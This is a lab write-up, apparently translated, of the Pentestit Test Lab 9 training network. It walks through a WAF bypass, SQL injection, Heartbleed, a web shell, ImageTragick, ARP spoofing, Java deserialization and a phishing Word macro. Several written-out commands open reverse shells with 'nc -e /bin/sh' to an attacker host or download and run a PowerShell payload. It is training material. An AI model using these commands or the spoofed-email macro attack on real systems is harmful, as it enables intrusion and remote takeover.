On May 20, Pentestit launched a new, ninth laboratory to test practical penetration testing skills.

The laboratory is a corporate network, very similar to the network of this organization. Thanks to the Pentestit laboratories, you can always be up to date with the latest vulnerabilities and try yourself as a real pentester, while at the same time learning from professionals - those who do penetration testing in real networks every day.
')
By June 1, the laboratory was passed - all 13 machines and 14 tokens were taken. Now it's time to describe the process of passing the laboratory in full for anyone who has not yet had time to pass the laboratory, who would like to learn more about current vulnerabilities, or to plunge deeper into the world of penetration testing.

At once I want to note that the process of passing the laboratory turned out to be rather laborious, and its description was long, but I hope, interesting. Let's start!

Connect to the lab

Before you begin, you need to register with the lab, set up a VPN connection and connect to the network of the virtual CyBear32C company.

Register here , and then follow these instructions in order to connect.

For testing, you can install in the Kali Linux virtual machine - a special Linux distribution for pentesters, which has everything you need to work. If you haven't done it yet, now is the time.

We start testing

After registering and connecting, we see the following network diagram:


The VPN connection remains behind the scenes, and after it we get access to the only external IP of CyBear32C - 192.168.101.8, which in real life would be the gateway to the Internet. We begin, as usual, with enumeration and, in particular, with port scanning, in order to determine which services from internal subnets are accessible from the outside.

Let's start with a quick port scan.



As you can see, we have access to a whole range of services from different internal machines (see the network diagram), including, most likely, the mainsite server (port 80), the mail server (25, 8100), ssh (port 22), and others. In addition, there is another https resource and proxy server.

Learn MAINSITE

To begin with, go to 192.168.101.8 :



We automatically redirect to www.cybear32c.lab , let's take a closer look at this:



We receive the header Location: http://cybear32c.lab - a virtual host, which actually will be accessible to the company's website.



Add the required domain to /etc/hosts and try again:



Great, the site has risen, and you can start exploring. Let's try to understand what it is. Before you start to study the site manually, you can run the utility whatweb, and then dirb, which will help determine which subdirectories there are (you can use other scanners, for example nikto):



We see that the response codes for all requests are 403 - for sure the site is protected by WAF. Since everything works in the browser, we try to substitute the User Agent and find some interesting pages:



At the same time we are looking at the site, we see that this is Wordpress, protected by WAF. Logging in to the / admin page takes us to a closed wp-login.php.



For Wordpress sites there is a great utility wpscan, which allows you to check them for plugins with vulnerabilities. We try to start to see the general information on the site, substituting the desired user agent. He immediately finds several problems, including the plugin wp-symposium v15.1 vulnerable to SQL injection.



Now we try to exploit each of these vulnerabilities with the help of exploits by links. Unfortunately, WAF works, and queries with SQL payloads do not go through. Let's try to get around it ...

WAF bypass

Often, many Web Application Firewalls use attack signatures that can be circumvented by slightly changing the syntax: adding concatenation or changing the case in the query: vErSiOn instead of version, for example. Bypassing WAF is a separate serious topic that can be devoted to many books and articles.

Unfortunately, these options did not work. Recall the proxy on port 3128 and try to configure the browser to work through it.



Proxy requests authorization:



Here we can use the data from the Contact Us column, which we see on the same site.

Create a text file with a dictionary and two accounts: b.muncy and r.diaz and try to find the password:



Good luck! Now we will try once again to enter the site through a proxy and log in to it. The result in this case already looks different (the site is also available on the internal IP: 172.16.0.5, but other internal services are still unavailable):



The site no longer speaks of misconduct - we have successfully bypassed WAF.

Exploitation of vulnerabilities in Wordpress plugin

Now you can explore the site and potential vulnerabilities more closely. You can do this directly, but it is more convenient for me to use Burp Repeater for this. First you need to configure the connection through upstream proxy:



In the User options tab, we add the Upstream Proxy Server, enter the data for our host, configure the browser for Burp proxy and try various exploits found by wpscan.

The same feature will allow the use of utilities that do not support proxy authorization directly. If you need these, it will be enough to specify in the form of proxy 127.0.0.1:8080.

Having tried several options, we see that one of the SQL injections works:

GET http://cybear32c.lab/wp-content/plugins/wp-symposium/get_album_item.php?size=version(); -- HTTP/1.1

Get the MySQL version number:



Result: 5.5.49-0 + deb8u1.

Things are going well - it remains to exploit this vulnerability using sqlmap:



Since in this case the injection occurs in the column name (and not in the value, as usual), it is important to specify the suffix after payload ( ' -- ' ) in order for sqlmap to concentrate on this type of injection. If this is not done, sqlmap can mistakenly define the type of injection as blind, and in this case it will be very difficult and long to pull the data.

We obtain the available databases using the --dbs option:



Then the tables ( -D tl9_mainsite --tables ):



And it remains only to obtain data from the wp_token table using the command:

BYPASS Token

During the port scan, an https resource was also found on port 443. A quick analysis and the dirb utility did not yield anything interesting:



The resource is available via https, while apparently in development and has not been updated for a long time. Check for the heartbleed vulnerability in 2014:



Service is vulnerable! For operation, use the script from here . After reading a lot of interesting information and hundreds of attempts (the main thing is not to give up ahead of time), we find something interesting:



Someone went there and downloaded the old backup. Let's do it and we will:



Here is the token, and along with it are several new accounts and their password hashes. We try to recover passwords from hashes (Apache apr1 hash in hashcat hash number 1600):



We get the b.muncy password already known from mainsite, as well as other passwords of other accounts.

It is very useful to record all found credentials and passwords in order to be able to check them in the future, quickly learning a new target, because passwords of users in a corporate network with high probability will be repeated from one service to another.

We attack SSH

Despite the previous remark, unfortunately, none of the passwords found so far has come to the mail (which usually gives very good results in moving deeper into the corporate network). It does not matter, we will try to connect to SSH on port 22 and try there. We try and see the following picture:



A rather unusual situation for connecting via SSH: apparently, it uses its own module for authentication. In addition, we draw attention to the fact that the system first requests “The password”, and then also “Password”.

We try all the credentials found in different combinations - to no avail.

Since neither the mail nor the SSH brought the desired results, and there are no more other available services, apparently we have missed something. SSH is also important because we will gain access to the inside of the corporate network and will be able to move forward, so we are interested to concentrate on it.

We try again and see the author of the script: Pam © krakenwaffe - does not look like something standard.
We are looking for this in Google and soon we find a krakenwaffe developer account on Github, which also works for cybear32c - interesting!



After reviewing the contributions of a certain David, we see a single file: mypam.c, located here: github.com/krakenwaffe/eyelog/blob/master/mypam.c . After a quick analysis of the code, it becomes clear that this is the module in which we are trying to log in, and which requests “The password” from us.



It’s impossible to enter under the root, see what’s next ... Attention attracts the following site:



We see that the entered password is compared with daypass<><> . We try to substitute the current value, namely “daypass80” at the time of writing this part of the document:



It still does not work. Then we remember the name of our developer, who shared a password with us through Github - David Nash. We try to go under d.nash:



Happened! We went to the SSH server. Let's see what is around:



In addition to the token, in the .ssh folder we also find the private key for connecting to other servers (which you can find out by working with the known_hosts file) - it will certainly come in handy later!

Now we get a springboard for the next attacks, and before us opens the entire corporate network of the company CyBear32C.

Next steps

After taking SSH, you can access all other computers on the network. Where to start? The first step is to scan all three subnets using nmap, kindly provided to us directly on the SSH server, and examine the available services.

At this stage, almost all internal resources, with the exception of Windows machines and the dev server, will be available for attack - you can forward ports and try.

Port forwarding

To provide convenient access to the internal network through the newly appeared SSH connection, there are a lot of ways.

First of all I recommend to study the article “Pivoting or port forwarding” .

In addition, it is useful to know the interesting feature of the standard SSH client: port forwarding without restarting the session and adding parameters to the command line.

To do this, just press the key combination Shift + ~ + C and go to the command mode:



After entering the necessary command, we will get access to port 80 of the server 192.168.0.6 (photo) via port 8086 to 127.0.0.1:

Photo-hosting and file uploading

The photo server meets us with a file upload form and nothing else, for sure there is a vulnerability in it.

From the developer’s point of view, it’s very difficult to upload files safely - there can be a lot of attack vectors: this is either a failed validation by file extension, its MIME type, or a vulnerability in the library that processes the file, or race condition, or any of the many other problems.

First, let's see what the site is written on:



And at the same time run dirb to see which hidden directories are on the web server.



The upload directory is available directly on the server, we will try to upload a harmless image and make sure that the files are saved in this folder:



So google.png is available. Please note that the site shows the size of the image, apparently there is some kind of analysis. Trying to download the PHP file:



Changing the MIME type and extension does not help:



Interestingly, it gives us two tips at once: first, the file may be loaded first, and then deleted, and you can manage to pull it, and, second, we make sure once again that there is a check that this picture is present (Apparently, using getimagesize() , which can be fooled by adding, for example, a GIF header). We try again with such file file.jpg:



File uploaded successfully and even available:



But, unfortunately, is not satisfied. We try to download this file with different extensions, since php does not work: .htaccess, .php5, .phtml and .pht - the last option works! It is also executed:



Now you need to get a shell. To do this, listen with nc on the SSH server, and access the file:




And successfully we get the connection:



Right in the upload folder you can find the token in a hidden subdirectory:



By the way, for the sake of interest, you can explore the source code:



We see that the file is first saved to a folder, and then only checked, that is, in addition to the vulnerability we have exploited, there is also a race condition.

In addition to the token and this code on the server, we find nothing interesting and continue on!

Learn FTP

Having scanned using nmap server 172.16.0.4, we find the open port 21 (ftp) and port 22 (ssh). Naturally, the input with our ssh key does not work, so we concentrate on the FTP itself.



ProFTPD 1.3.5 has a known vulnerability associated with copying files without authentication, which can be exploited through a web server - we copy to / var / www, for example, / etc / passwd, and we are already a little closer to the goal.

The problem is that the web server on this machine is not running ... Let's try to connect to an ftp server:



Anonymous login is available, and in the dist folder we find the source of the server. Interestingly, they were probably laid out for a reason, we will try to study them. Download and unpack the proftpd-dfsg-1.3.5.tar.bz2 archive using the ftp client (lcd and get commands) and try to look for changes in the code. Let's start with the search for the CYBEAR substring, and immediately find the src / help.c file:



A similar backdoor was built into version 1.3.3c during the attack on ProFTPD .

Let's try to use the provided backdoor!



Well, in the folder / home we find a whole set of interesting files:



In addition to the token in the “old” folder, we find:

• new account m.barry,
• test script in m.barry / upload / test_scripts folder,
• cisco router configuration file with passwords
  
• The trouble.cap file with the password m.barry and an indication that the dev server downloads all the Python scripts from the test_scripts folder with FTP and, possibly, launches them.
  

Unfortunately, it is impossible to simply enclose the file in test_scripts - not enough rights, so you have to go further and look for another way to attack the dev server.

The fastest token is CISCO

Let's try to use the information found and start with cisco - we already have the password. We recollect IP according to the network diagram and try to log in:



Immediately we get a token! Now let's try to clear the hash for enable 3:



Find the password, try it and get the privileged mode:



All is ready. The configuration file of the router allows you to monitor traffic:



With the help of these commands you can study the traffic going through this subnet (namely, the portal).

As it turned out, there are opportunities to go through the laboratory in different ways, and I personally did not need to monitor the traffic. Therefore, I propose to leave this part to independent study and move on.

NAS and unprotected backups

Continuing to explore different subnets, we come across a NAS server:



Open port 3260 hints at the ability to connect to iscsi. If you followed the news in the field of information security, you probably heard about the hacking of the Italian company Hacking Team, which in this case became the prototype of CyBear32c. On the net you can find a writeup about how the attack took place, from which you can learn a lot of interesting things.

Let's start with port forwarding to the local machine:



Install iscsiadm and try to connect:



We try to connect, it does not work.



We turn on debug mode and see that iscsiadm is trying to connect to 192.168.0.3, which in this case is not in our subnet.

Let's try an alternative port forwarding and use sshuttle . So we will get access to the servers at their real IP addresses without having to forward each port separately. Connect:



I managed to connect! Now examine the contents of the appeared disk:



Now you need to connect this vmdk:



It begins on the disk at an offset of 63 * 512 bytes, namely 32,256:



After this, Kali automatically detects the present disk and offers to see the contents:



There is! Looking for something interesting, we find the user token_nas_token, but there’s nothing directly in the file system. Copy the registry database from WINDOWS \ system32 \ config to yourself and try to look at the saved password hashes:



In order not to go through the hashes locally for a long time, we will use the rainbowtables.it64.com service. You can do it yourself, but it will be faster with the help of the service.

We enter the existing LM hashes (the first hash of the dump in each row) and look at the result. LM hashing results in uppercase passwords, so after getting the result, we will need to restore the correct register using the NTLM hash.

All the hashes and their corresponding passwords are found in the database. Save them (in upper case) in a separate file and use john with the -rules = NT option to find the correct passwords:



And we get passwords using the -show option:



The password from token_nas_token contains a token to the task! And we got new credentials for d.rector. We continue!

Terminal2

As discussed above, passwords found in one place may come up in another. In this case, after scanning the ports of the terminal2 server, we see an open RDP:



Let's try to connect using d.rector credentials from NAS:



The token is right on your desktop!

DEV and MITM

With access to the local subnet 192.168.3 / 24, we open up new opportunities for attack. Let us recall the network diagram and at the same time the file trouble.cap found on the FTP server:



Obviously, the dev server accesses FTP, downloads all the * .py files from the test_scripts folder from there, as seen in trouble.cap, and most likely executes them. Access to this folder on the FTP server can be obtained only from root.

Now that we have a terminal server at our disposal, where Intercepter-NG is conveniently located, we can easily organize a MITM attack. Let's try!

Turn on Intercepter-NG from the folder C: \ Intercepter-NG. The first step is to scan the local network. Right-click on an empty place in the table, set up just in case more ARP Scan Timeout and launch Smart Scan.

At the same time, Intercepter sends ARP requests in its subnet to determine the existing hosts in it, and then tries to determine which OS is installed on each of them.



Well, two hosts were defined:



Stealth IP is a non-existent IP address that is used by the Intercepter to perform a MITM attack.

Since the client and server are on different subnets, they will communicate with each other through the gateway; we add 3.3 to NAT, and 3.254 as the gateway.



In parallel, you need to create a daddy on the ftp server, in which dev will enter, instead of the upload folder. The name should have as many characters as it does in the “upload”, since the Intercepter-NG can only replace the traffic for lines of the same length in the traffic.



In the test.py script, of course, we will place the payload - reverse the shell to 172.16.0.2 on port 6666:



Configure Intercepter:



Traffic changer will replace upload with .uploa and, accordingly, when m.barry makes a CWD upload, it will go to our .uploa directory and from there it will download our script, which will create a reverse shell for us.

We include the listening part on SSH:



And we turn on Incercepter by pressing three buttons: first, the general sniff-ing in the upper right, then NAT and then ARP poison.



In a minute we get the shell:



And at the same time the dev server token:

“Tragick” SITE-TEST

Now let's turn our attention to the site-test server. As usual in the lab's web tasks, try running whatweb and dirb to find out what is on the server.



The site is written in PHP framework laravel, which is actively supported. In addition, detailed error logs are included:



From here you can often extract information about the internal paths on the server, which can then be useful, for example, with SQL injection. But in this case it does not help us much ...

dirb quickly begins to find the following available URLs:



Having unsuccessfully tried all the credentials that have already been collected during the passage of the laboratory in the admin panel, we switch to the photo upload form, also presented on the website, if you just walk through it and press JOIN US:



Downloading pictures again, but now you can’t find where these pictures are added together (although the / upload folder is also detected by the dirb utility after some time - but the files in it are not accessible by their original names).

Let's try a vulnerability in ImageMagick, which is called ImageTragick .

Construct the file to load:



And we enable nc on port 1234 on the SSH server. Fill out the form and load the file oops.jpg with the text content shown above.



Here is the connection! In the root folder (cd /) we see token.txt:

Open PORTAL

Let's try to explore the portal server. Let's start with port scanning.



Port 8080 was found, going to which we, in fact, see the portal:



Try different passwords from those that were found earlier. For example, login t.smith with his password. Passwords could be reused twice already - on terminal2 and here.
We



get a page of vacations and new credentials: Trying to log in or pick up a password for a.petrov's login - without success. Then pay attention to cookies:



Looks like base64, decode:



This is a Java object that stores the username and hash of his password in the form of md5. Trying to "slip" the name a.petrov - does not work.

Once the object arrives at the client and then is restored on the server, try to dig in this direction.

While restoring an object from the base64 string to a binary format and then into memory (deserialization), there is the recently demonstrated ability to execute arbitrary code. Such a vulnerability was, for example, in Jenkins. For operation, we try to use the utility ysoserial .

After reading the instructions, it becomes clear that it is possible to execute an arbitrary command on the server using the utility. It generates a Java object, which then during deserialization will execute
the command we need (namely, the reverse shell, in our case).

We write a small command to conveniently send the content generated by the ysoserial in the form of a base64-cookie to bash: An

curl -b 'userInfo="'$(java -jar ysoserial-0.0.4-all.jar CommonsCollections1 'nc -e /bin/sh 172.16.0.2 1235' | base64 | tr -d '\n')'"' 'http://192.168.1.2:8080/index.jsp'

error occurs during execution:



We find the same problem right ongithabe developer .

It has already been fixed in the repository, but not yet compiled in release. We clone a new version with github, install maven and build it locally: Get the file we need! Update the command to the new payload Commons-Collections5: On the ssh server, as usual, we run netcat, which listens on port 1235, and we launch the following: The long-awaited shell. Find token.txt in the root folder: And one more token yielded! Having studied a little portal, we find something interesting in the crontab: Mail check script! Let's see what's in it. B.muncy name and password in the mail! So we got close to the task mail.

apt-get install maven
git clone https://github.com/frohoff/ysoserial.git
mvn compile package







curl -b 'userInfo="'$(java -jar ysoserial-0.0.5-SNAPSHOT-all.jar CommonsCollections5 'nc -e /bin/sh 172.16.0.2 1235' | base64 | tr -d '\n')'"' 'http://192.168.1.2:8080/index.jsp'

Roundcube Mail

The laboratory uses the Roundcube server, in which there were many vulnerabilities, but in this version all known ones have already been fixed.

Let's try the other side. We go in the mail with a password from b.muncy:



The mailbox is empty. But, since there was a robot on the portal that automatically checked mail, we’ll try to send messages to other accounts that we already learned.

One of them - r.diaz - answers letters! We are trying to send him something else.



And we get the answer:



After talking with the bot, it becomes clear that social engineering needs to be applied. We try to send the bot different files: PDF, Word-documents and so on. And so, the bot responds to one of these shipments!



If you send a Word document in an attachment, it issues a token and a message stating that such files can be opened only if they come from r.lampman. Let's try to do it!

Terminal

On the terminal server, port 3389 for rdp is closed, and there is nothing interesting in the rest. Where, no matter how there, r.diaz hid and opens Word-documents!

I made the assumption that Microsoft Security Essentials was installed on the terminal server, as it was on terminal2, and installed Windows locally with the same antivirus to test on the spot before sending the document.

The attack, in this case, turns out to be multistage. To get a session at the terminal, we need:

• learn how to send r.diaz letters from r.lampman (we don’t have his password to the mail),
• create a document with reverse shell payload,
• bypass Microsoft Security Essentials antivirus,
• enable the listener on your computer on port 443 (only 80 and 443 are open from inside the network).

Sending letters

Let's try to write a script that will automatically send r.diaz letters on behalf of r.lampman using the password b.muncy.

For this we will substitute the desired address in the FROM field:



Here a few things are important:

• replace the value of the FROM field with the desired one
• substitute the correct MIME type so that it is clear that the Word document is being sent
• Do not forget to encode the document in base64 so that it does not deteriorate during transmission,
• forward port 587 from 172.16.0.1 to the local machine:
  

We form payload

Now you need to create a Word document that is not detected by antivirus as infected. After many unsuccessful attempts (it is convenient to test in your environment before a real attack), it turned out to work out a working version.

We will not save the entire payload immediately to the document, but make it so that it downloads it from our server. To do this, we will do the following:

1. Use setoolkit to create payload:



select option 1 (Social-Engineering Attacks), then 9 (Powershell Attack Vectors) and then 1 (Powershell Alphanumeric Shellcode Injector): Start the



web server on the local machine and copy the received payload from /root/.set/reports/powershell to /var/www/html/payload.txt:



Check that the file is available:



2. Create a document
I used this launch option described in this article .

As shown, we need to obfuscate the loadload payload command:
powershell.exe "IEX ((new-object net.webclient).downloadstring('http://<your_ip>/payload.txt'))"

To do this, you can use the Java applet from the article available here . Run:



Enter:
powershell.exe "IEX ((new-object net.webclient).downloadstring('http://<your_pentestit_ip>/payload.txt'))"

Get the result and insert into the document. I added Document_Open () just in case.



When adding a macro, it is important to save it in the document, and not in the Normal template.

Save the document with the docm extension, put it in the daddy with the senddoc.py script, and now the last step remains.

3. Launch Metasploit



Before launch, we once again go through a small “checklist”:

• payload is available at your_ip / payload.txt ,
• port 587 with 172.16.0.1 is forwarded to the local 127.0.0.1,
• The document is located in the folder along with the script for sending mail.

Run!



And in a minute:



Go to C: \ Users \ r.diaz \ Desktop and get a token!

SSH-TEST - the last barrier

It remains the last server, on which so far we have not found any leads in the network. Having scanned all its ports, we determine that none of them is responding.

At the same time, all but three respond to us with RST packets (closed), and 3 simply discard all packets arriving at them.



This suggests that these ports need to be “knocked” in the hope that port 22 (ssh) will open with the right combination for a moment, in which we will have time to connect to it.

By the way, at the very beginning of the passage on the ssh server we found the key in the .ssh folder of the user d.nash:



For sure it will be useful to us here. So, in order to knock on the desired port, do the following:

Start sshuttle to go to the server directly:



It is convenient to specify the desired subnet to remain Internet access.
Copy the d.nash id_rsa key to your disk:



Install the knock utility, which will knock on the necessary ports:



Try 6 combinations of these three ports, and one of them works!



Here is the last token! Lab passed.

Afterword

This document describes just one way to go through the lab. I am sure that there are a lot of options. If you know some interesting way to solve this or that problem, which I did not mention here, I will be glad to know about it in the comments.

I hope that this article will help those who have not worked with Pentest to plunge into the world of information security and try themselves in real practical testing.

The laboratory will be available until November, so there will be enough time for training, and this writeup will help to start. Do not give up in the process, and as they say: Try Harder.

Good luck!